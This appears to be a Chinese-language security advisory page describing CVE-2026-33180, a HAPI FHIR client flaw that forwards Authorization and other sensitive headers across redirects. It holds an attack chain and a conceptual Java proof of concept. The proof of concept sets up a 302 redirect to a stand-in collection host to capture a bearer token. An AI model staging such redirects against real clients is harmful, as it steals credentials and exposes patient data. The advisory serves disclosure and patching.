IPBUF安全漏洞报告
English
CVE-2026-33180 CVSS 7.5 高危

CVE-2026-33180 HAPI FHIR HTTP重定向头部泄露漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33180
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HAPI FHIR

相关标签

信息泄露HAPI FHIRHTTP重定向CWE-200Header Injection

漏洞概述

HAPI FHIR是Java版本的HL7 FHIR标准实现。在6.9.0版本之前,其内部HTTP客户端在处理重定向时存在安全缺陷。当客户端跟随30X重定向响应时,会将原始请求中的敏感头部(可能包含隐私信息或认证凭据)发送给Location头部指定的目标主机。这导致敏感数据泄露给第三方,攻击者可利用此信息冒充客户端身份。

技术细节

该漏洞的核心在于HAPI FHIR使用的HTTP客户端组件在处理自动重定向时未对请求头部进行安全过滤。正常情况下,HTTP客户端在接收到301、302或307等重定向状态码时,会解析响应头中的Location字段并向新地址发起请求。然而,HAPI FHIR在此过程中未区分上下文,将针对初始受信任主机的请求头(如Authorization、Cookie等)原样转发给了重定向后的主机。如果攻击者能够控制重定向的目标地址(例如通过中间人攻击或控制上游服务器响应),即可截获这些包含敏感信息的头部。这不仅违反了最小权限原则,还可能导致会话劫持、数据窃取或未授权访问,严重威胁用户隐私和系统安全。

攻击链分析

STEP 1
1. 设置恶意服务
攻击者准备一个恶意服务器,用于监听和记录接收到的HTTP头部信息。
STEP 2
2. 诱导重定向
攻击者通过各种方式(如控制受害者访问的初始服务器响应、中间人攻击等)使得HAPI FHIR客户端发起的请求收到一个30X重定向响应,且Location指向攻击者的恶意服务器。
STEP 3
3. 头部泄露
由于漏洞存在,HAPI FHIR客户端在跟随重定向时,将包含敏感信息(如认证Token)的原始头部发送给了恶意服务器。
STEP 4
4. 数据窃取与利用
攻击者捕获泄露的头部信息,利用其中的认证凭据冒充合法用户访问原始服务,窃取数据或执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// This is a conceptual PoC demonstrating the header leakage scenario. // 1. Attacker sets up a malicious server that logs headers. // Malicious Server Response: // HTTP/1.1 302 Found // Location: http://attacker-controlled-server.com/collect // 2. Victim uses vulnerable HAPI FHIR client (< 6.9.0) import ca.uhn.fhir.rest.client.api.IGenericClient; import ca.uhn.fhir.context.FhirContext; public class HapiClient { public static void main(String[] args) { FhirContext ctx = FhirContext.forR4(); // Client configured to follow redirects (default behavior) IGenericClient client = ctx.newRestfulGenericClient("https://trusted-hapi-server.com"); // Adding a sensitive header (e.g., Authorization) client.registerInterceptor(new IClientInterceptor() { @Override public void interceptRequest(IHttpRequest theRequest) { theRequest.addHeader("Authorization", "Bearer sensitive-token-123"); } // ... other methods }); // Triggering a request that results in a redirect to the attacker // The vulnerable client will send "Authorization: Bearer sensitive-token-123" to attacker-controlled-server.com client.read().resource("Patient").withId("example").execute(); } }

影响范围

HAPI FHIR < 6.9.0

防御指南

临时缓解措施
目前没有已知的变通方案。建议用户尽快将HAPI FHIR库升级至6.9.0或更高版本以修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表